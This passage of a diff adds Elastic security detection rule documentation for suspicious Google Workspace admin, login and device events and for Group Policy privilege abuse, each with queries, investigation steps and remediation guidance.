alert per privilege. + + +*Possible investigation steps* + + +- Identify the initiating (actor) account that modified the role by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Identify the role modified by reviewing `google_workspace.admin.role.name`. +- Identify the privilege changed by reviewing `google_workspace.admin.privilege.name`. Because suppression may group multiple events, search for all related changes in the same session (see Kibana steps below). +- Determine whether the modification is expected and authorized: + - Validate there is an approved change request/ticket and that the actor account is authorized to modify admin roles. + - If the actor account or source IP is unusual, treat the alert as higher priority until proven benign. +- Review role permissions in the Google Admin console: + - Navigate to Account > Admin roles. + - Locate the role name from `google_workspace.admin.role.name` and select it to open the role details. + - Review the Privileges tab to confirm which permissions were added or removed and whether they align with the organization's delegation model. + - Review the Admins tab to identify which users or groups currently hold the role and will inherit the modified privileges. +- Search Kibana for all privileges changed in the session: + - In Discover (or the alert investigation workflow), search Google Workspace admin logs with a time range centered on the alert timestamp (±5 minutes). + - Use the following KQL example, replacing `` with the value from `google_workspace.admin.role.name`: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: ("ADD_PRIVILEGE" or "UPDATE_ROLE") and google_workspace.admin.role.name: "" + ``` + - Optionally filter on the actor with `user.email` to isolate changes from the same administrator. + - Review all `google_workspace.admin.privilege.name` values returned to understand the full scope of the modification. +- Search Kibana for principals recently assigned the role to determine blast radius: + - Use the following KQL example: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: "ASSIGN_ROLE" and google_workspace.admin.role.name: "" + ``` + - Review `user.target.email` and `user.target.name` for user/group assignments. +- Scope for related activity by searching for the same `user.email` (actor) performing other IAM or security actions such as `ASSIGN_ROLE`, `CREATE_ROLE`, `CREATE_USER`, or security policy changes within the last 48 hours. +- Evaluate whether principals assigned the modified role performed suspicious activity after the change: + - Review admin/audit events for security control changes, user or group changes, and Gmail configuration changes. + + +*False positive analysis* + + +- Verify the role modification aligns with approved administrative duties, an authorized change window, and the organization's access governance process. +- Confirm the initiating admin account is legitimate and not modifying roles from unusual IPs, devices, or locations. +- Selecting a privilege category in the Admin console can add multiple related privileges in one action; alert suppression should consolidate these into a single alert. +- Compare the modified role's privileges against the stated business need; overly broad privileges warrant closer review even if the change was authorized. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the modification is not clearly authorized, revert the role privileges to their prior state and/or remove the role assignment from affected users or groups while the investigation proceeds. +- For suspected compromise of the initiating admin account: + - Reset credentials, revoke active sessions, enforce MFA re-enrollment, and review delegation/OAuth grants for persistence. + - Validate recovery email/phone settings and account security posture. +- Review whether principals assigned the modified role require the new privileges, and replace broad custom roles with narrower delegated roles where feasible. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:(ADD_PRIVILEGE or UPDATE_ROLE) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-suspended-user-account-renewed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-suspended-user-account-renewed.asciidoc new file mode 100644 index 0000000000..ad328783c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-suspended-user-account-renewed.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-google-workspace-suspended-user-account-renewed]] +=== Google Workspace Suspended User Account Renewed + +Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/1110339 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Google Workspace Suspended User Account Renewed* + + +Google Workspace manages user identities and access, crucial for organizational security. Adversaries may exploit the renewal of suspended accounts to regain unauthorized access, bypassing security measures. The detection rule identifies such events by monitoring specific administrative actions, helping analysts spot potential misuse and maintain secure access controls. + + +*Possible investigation steps* + + +- Review the event logs for the specific action `UNSUSPEND_USER` to identify the user account that was renewed and gather details about the timing and context of the action. +- Check the identity of the administrator or service account that performed the `UNSUSPEND_USER` action to determine if the action was authorized or if there are signs of account compromise. +- Investigate the history of the suspended user account to understand why it was initially suspended and assess any potential risks associated with its renewal. +- Examine recent activity logs for the renewed user account to identify any suspicious behavior or unauthorized access attempts following the account's reactivation. +- Cross-reference the event with other security alerts or incidents to determine if the renewal is part of a broader pattern of suspicious activity within the organization. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule when IT staff unsuspend accounts for legitimate reasons, such as resolving a temporary issue. To manage this, create exceptions for known IT personnel or specific administrative actions that are part of regular account maintenance. +- Automated processes or scripts that unsuspend accounts as part of a workflow can also lead to false positives. Identify and document these processes, then exclude them from triggering alerts by using specific identifiers or tags associated with the automation. +- User accounts that are temporarily suspended due to policy violations or inactivity and later reinstated can cause false positives. Implement a review process to verify the legitimacy of these reinstatements and adjust the rule to exclude such cases when they are part of a documented policy. + + +*Response and remediation* + + +- Immediately review the user account activity logs to determine if any unauthorized actions were taken after the account was unsuspended. Focus on sensitive data access and changes to security settings. +- Temporarily suspend the user account again to prevent further unauthorized access while the investigation is ongoing. +- Notify the security team and relevant stakeholders about the potential security incident to ensure coordinated response efforts. +- Conduct a thorough review of the account's permissions and access levels to ensure they align with the user's current role and responsibilities. Adjust as necessary to follow the principle of least privilege. +- If malicious activity is confirmed, initiate a password reset for the affected account and any other accounts that may have been compromised. +- Implement additional monitoring on the affected account and similar accounts to detect any further suspicious activity. +- Review and update security policies and procedures related to account suspension and reactivation to prevent similar incidents in the future. + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: google_workspace.admin and google_workspace.event.type: "USER_SETTINGS" and event.action: "UNSUSPEND_USER" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-user-login-with-unusual-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-user-login-with-unusual-asn.asciidoc new file mode 100644 index 0000000000..8ae756a9e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-user-login-with-unusual-asn.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-google-workspace-user-login-with-unusual-asn]] +=== Google Workspace User Login with Unusual ASN + +Detects the first time a Google Workspace user successfully signs in from a given source ASN within a 14-day historical window. Most users have a stable set of egress ASNs (home ISP, corporate VPN, mobile carrier). A new ASN for a user is a meaningful anomaly as it surfaces ISP changes and travel, but also catches AiTM phishing-kit relays whose egress ASN was never previously associated with the user. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-google_workspace.login* +* logs-google_workspace.token* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Google Workspace +* Data Source: Google Workspace User Log Events +* Data Source: Google Workspace Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace User Login with Unusual ASN* + + +This rule emits when a user signs in successfully from an ASN that has not been observed for that user in the prior 14 days. Most legitimate users cluster around a small number of egress ASNs (corporate VPN, home ISP, primary mobile carrier). New ASNs are not all malicious, but new ASNs that match hosting providers, anonymization networks, or geographies inconsistent with the user's profile are high-fidelity suspicious. + + +*Possible investigation steps* + + +- Inspect `source.as.organization.name` and `source.as.number`. Categorize: residential ISP (low concern absent other indicators), corporate VPN (validate against tenant baseline), mobile carrier (validate by region), hosting provider / VPS (Clouvider, Host Telecom, Alibaba, OVH, M247, DigitalOcean, Vultr) - high concern for interactive sign-ins. +- Inspect `source.geo.country_name` and `source.geo.region_name`. New geo + known travel is fine. New geo + unexpected travel needs user confirmation. +- Pull the user's full `google_workspace.login` history across the lookback. Is this a one-off sign-in or sustained activity from the new ASN? +- Cross-reference `logs-google_workspace.token` for any `event.action: "authorize"` events from the same `user.email` immediately following the sign-in. An OAuth grant minted from the new ASN within seconds of sign-in is the AiTM kit signature. +- Cross-reference `logs-google_workspace.device` for any `DEVICE_REGISTER_UNREGISTER_EVENT` with `account_state: "REGISTERED"` from the same user near the same time. New device + new ASN is a stronger compromise signal than either alone. +- Confirm with the user whether they signed in from a new network intentionally. + + +*False positive analysis* + + +- Users on rotating VPN exits, hotspot sharing, or coffee-shop Wi-Fi will produce new ASNs legitimately. +- Mobile users in unfamiliar regions (travel, conference attendance) will geo-resolve to new ASNs. +- Engineering teams using cloud workstations (Cloud Workstations, Codespaces, etc.) will egress through hosting ASNs even for legitimate sign-ins. Tune by allowlisting your tenant's known cloud-workstation egress. +- For high-noise tenants, expand `history_window_start` to 14 days to reduce false-positive rate at the cost of slower-to-fire detection for genuinely new ASNs. + + +*Response and remediation* + + +- If the new ASN is a hosting provider and the user has not knowingly used such a network: treat as likely AiTM. Suspend user, revoke OAuth tokens, reset password, clear recovery info, sign out all sessions. +- If the new ASN is benign (verified ISP change, travel, new VPN): add to the user's baseline. Consider broader hardening (require MFA re-verification on new-network sign-in via Workspace Context-Aware Access). + + +==== Setup + + + +*Setup* + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- Google Workspace Reports API ingestion lag commonly runs in the 30-minute to 3-hour range. This rule's 130-minute lookback gives partial coverage but will miss events delayed beyond that envelope. +- See https://support.google.com/a/answer/7061566 for Google's published guidance on event availability. +- Check your integration's Login lag time to ensure it is configured to meet the needs of this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: ("google_workspace.login" or "google_workspace.token") and + event.action: ("login_success" or "authorize") and + source.as.number: * and + user.email: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-user-organizational-unit-changed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-user-organizational-unit-changed.asciidoc new file mode 100644 index 0000000000..71fb649dba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-user-organizational-unit-changed.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-google-workspace-user-organizational-unit-changed]] +=== Google Workspace User Organizational Unit Changed + +Users in Google Workspace are typically assigned a specific organizational unit that grants them permissions to certain services and roles that are inherited from this organizational unit. Adversaries may compromise a valid account and change which organizational account the user belongs to which then could allow them to inherit permissions to applications and resources inaccessible prior to. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Configuration Audit +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace User Organizational Unit Changed* + + +An organizational unit is a group that an administrator can create in the Google Admin console to apply settings to a specific set of users for Google Workspace. By default, all users are placed in the top-level (parent) organizational unit. Child organizational units inherit the settings from the parent but can be changed to fit the needs of the child organizational unit. + +Permissions and privileges for users are often inherited from the organizational unit they are placed in. Therefore, if a user is changed to a separate organizational unit, they will inherit all privileges and permissions. User accounts may have unexpected privileges when switching organizational units that would allow a threat actor to gain a stronger foothold within the organization. The principle of least privileged (PoLP) should be followed when users are switched to different groups in Google Workspace. + +This rule identifies when a user has been moved to a different organizational unit. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. + - The `user.target.email` field contains the user that had their assigned organizational unit switched. +- Identify the user's previously assigned unit and new organizational unit by checking the `google_workspace.admin.org_unit.name` and `google_workspace.admin.new_value` fields. +- Identify Google Workspace applications whose settings were explicitly set for this organizational unit. + - Search for `event.action` is `CREATE_APPLICATION_SETTING` where `google_workspace.admin.org_unit.name` is the new organizational unit. +- After identifying the involved user, verify administrative privileges are scoped properly to allow changing user organizational units. +- Identify if the user account was recently created by searching for `event.action: CREATE_USER`. + - Add `user.email` with the target user account that recently had their organizational unit changed. +- Filter on `user.name` or `user.target.email` of the user who took this action and review the last 48 hours of activity for anything that may indicate a compromise. + + +*False positive analysis* + + +- After identifying the user account that changed another user's organizational unit, verify the action was intentional. +- Verify whether the target user who received this update is expected to inherit privileges from the new organizational unit. +- Review potential maintenance notes or organizational changes. They might explain why a user's organization was changed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and google_workspace.event.type:"USER_SETTINGS" and event.action:"MOVE_USER_TO_ORG_UNIT" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-user-sign-in-from-atypical-device-type.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-user-sign-in-from-atypical-device-type.asciidoc new file mode 100644 index 0000000000..85c295a2b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-user-sign-in-from-atypical-device-type.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-google-workspace-user-sign-in-from-atypical-device-type]] +=== Google Workspace User Sign-in from Atypical Device Type + +Detects the first time a Google Workspace user is observed authenticating from a device of a given type (e.g., WINDOWS, MAC, ANDROID, IOS, LINUX) within a historical window. Note that "DEVICE_REGISTER_UNREGISTER_EVENT" events do not represent one-time physical device enrollments; the Google Reports API emits a fresh "google_workspace.device.id" on each event, and the same physical device may produce multiple events per day as sessions/sync renewals occur. The rule therefore surfaces a user authenticating from a new device type, not a new physical device. This is still high-fidelity because adversaries who compromise a Workspace identity via AiTM kits or stolen OAuth refresh tokens frequently relay sessions from device types that diverge from the legitimate user's baseline (e.g., a WINDOWS session appearing for a known macOS user, or simultaneous WINDOWS+MAC sessions within minutes), which is the canonical kit fingerprint. Because the underlying token retains access after password rotation, treat unexpected device-type divergence as a compromise indicator and revoke tokens, not just credentials. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-google_workspace.device* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developers.google.com/workspace/admin/reports/v1/appendix/activity/mobile +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://any.run/malware-trends/tycoon/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Google Workspace +* Data Source: Google Workspace Device Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace User Sign-in from Atypical Device Type* + + +This rule emits when a user authenticates from a device whose type (`google_workspace.device.type`) has not been observed for that user in the prior 14 days. + +**Important: this is not a true "device enrollment" event.** Google's Reports API emits `DEVICE_REGISTER_UNREGISTER_EVENT` from the `mobile` provider on every session/sync registration, with a fresh `google_workspace.device.id` each time. A single physical device can produce many such events per day. The rule therefore identifies a *device-type-per-user* anomaly: a session originating from a class of device the user has not been seen on in the prior 14 days, not a one-time physical device join. + +The detection value remains high because adversaries who relay sessions via AiTM kits (Tycoon2FA Google variant, EvilGinx phishlets) or who replay stolen OAuth refresh tokens typically egress from device fingerprints that diverge from the victim's baseline. Two patterns are especially diagnostic: + +- A device type appearing for a user that does not match the user's known OS (e.g., WINDOWS sessions for a user whose corporate laptop is macOS). +- Simultaneous WINDOWS+MAC (or similar cross-type) sessions for the same user within a short window, indicating the kit and the victim are active at the same time. + +Because the underlying OAuth refresh token continues to grant access after a password reset, password rotation alone does not remediate this; only token revocation does. + + +*Possible investigation steps* + + +- Identify the user (`user.email`), the device type (`google_workspace.device.type`), and the device model and OS (`google_workspace.device.model`, `host.os.version`). +- Compare the registered device type to the user's known device baseline. A WINDOWS device for a known macOS user, or an ANDROID device for a known iOS user, is a high-confidence adversary signal. +- Pull all `logs-google_workspace.login` events for the same `user.email` in the 24 hours leading up to the device registration. Inspect `source.geo.country_name`, `source.as.organization.name`, and `user_agent.original` for each sign-in. A device registration immediately following a sign-in from a non-baseline ASN (hosting providers, cheap VPS, AiTM kit egress like Clouvider or Host Telecom) is the kit-driven persistence signature. +- Cross-reference `logs-google_workspace.token` for `event.action: "authorize"` events from the same user near the same time. OAuth grants minted around the device registration window indicate the kit has minted additional tokens for the attacker-controlled device. +- Inspect `google_workspace.device.id` and `google_workspace.device.resource.id` for the registered device. Capture both, since `device.id` is required for the device removal API call during remediation. +- Confirm with the user whether the device registration is theirs (new hardware, BYOD enrollment) or unexpected. + + +*False positive analysis* + + +- Legitimate first-time device enrollment for new hardware, BYOD onboarding, or device refresh cycles. Validate by checking IT hardware tickets, onboarding records, or HR. +- Planned MDM rollouts that register many users' devices in a short window. Consider a temporary rule suppression during scheduled rollouts. +- Users who legitimately use multiple device types and happened to first enroll a given type outside the lookback window (e.g., always had a personal Android but only just enrolled it in Workspace). + + +*Response and remediation* + + +- If the device registration is unexpected: treat as compromise. Immediately suspend the user, revoke all OAuth tokens (`DELETE /admin/directory/v1/users//tokens/`), reset the password, and clear recovery email/phone. +- Remove the attacker-controlled device via the Admin SDK Directory API: `POST /admin/directory/v1/customer//devices/chromeos//action` (or the mobile device variant) to wipe / remove the device. +- Audit any post-registration mailbox, Drive, and Calendar activity for adversary data access or exfiltration. +- Cross-check `logs-gcp.audit-*` if the tenant exposes GCP resources to the user: look for `authenticationInfo.principalEmail` matching the user from a non-baseline `callerIp` in the same window, since token theft frequently extends to cross-cloud access. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "google_workspace.device" and +event.action: "DEVICE_REGISTER_UNREGISTER_EVENT" and +google_workspace.device.account_state: "REGISTERED" and +google_workspace.device.type: * and +user.email: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-group-policy-abuse-for-privilege-addition.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-group-policy-abuse-for-privilege-addition.asciidoc new file mode 100644 index 0000000000..e386d47520 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-group-policy-abuse-for-privilege-addition.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-group-policy-abuse-for-privilege-addition]] +=== Group Policy Abuse for Privilege Addition + +Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0025_windows_audit_directory_service_changes.md +* https://labs.withsecure.com/tools/sharpgpoabuse + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Group Policy Abuse for Privilege Addition* + + +*Possible investigation steps* + + +- What GPO extension change was preserved? + - Focus: `winlog.event_data.AttributeLDAPDisplayName`, `winlog.event_data.AttributeValue`, `winlog.event_data.OperationType`, `winlog.event_data.ObjectDN`, and `winlog.event_data.ObjectGUID` confirm the 5136 "gPCMachineExtensionNames" GPO change. + - Implication: escalate when the value enables Security CSE GUID "827D319E-6EAC-11D2-A4EA-00C04F79F83A" plus Computer Restricted Groups GUID "803E14A0-B4FB-11D0-A0D0-00A0C90F574B" on an unexpected GPO; lower concern only when artifacts/scope confirm a recognized hardening refresh. +- Who changed the GPO, and from where? + - Focus: identify the writer: `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectLogonId`, and `winlog.computer_name`. + - Hint: on `winlog.computer_name`, find "4624" where `winlog.event_data.TargetLogonId` equals the 5136 `winlog.event_data.SubjectLogonId`; search "4648" on `winlog.event_data.SubjectLogonId` for explicit credentials, then check `source.ip`, `winlog.logon.type`, 